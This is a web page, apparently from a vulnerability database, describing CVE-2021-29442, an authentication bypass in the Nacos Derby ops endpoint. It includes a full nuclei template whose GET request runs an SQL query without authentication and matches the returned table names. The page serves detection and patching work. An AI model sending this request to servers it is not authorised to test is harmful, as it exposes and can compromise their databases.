Browse / CVEs / CVE-2021-29442
CVE-2021-29442· alibaba / nacos· CWE-306
Nacos <1.4.1 - Authentication Bypass
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
Fix
Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
How to confirm it
Send: GET {{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
Positive when: contains in header "application/json" AND matches /"TABLENAME":"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT…/ AND status 200Run it with nuclei: nuclei -id CVE-2021-29442 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-29442
info:
name: Nacos <1.4.1 - Authentication Bypass
author: dwisiswant0
severity: high
description: |
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
remediation: |
Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
reference:
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
- https://github.com/alibaba/nacos/issues/4463
- https://github.com/alibaba/nacos/pull/4517
- https://github.com/advisories/GHSA-36hp-jr8h-556f
- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-29442
cwe-id: CWE-306
epss-score: 0.64205
epss-percentile: 0.99236
cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: alibaba
product: nacos
tags: cve2021,cve,nacos,auth-bypass,alibaba,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
- type: status
status:
- 200References
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
- https://github.com/alibaba/nacos/issues/4463
- https://github.com/alibaba/nacos/pull/4517
- https://github.com/advisories/GHSA-36hp-jr8h-556f
- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
Use this check only on systems you are authorised to test. Where the data comes from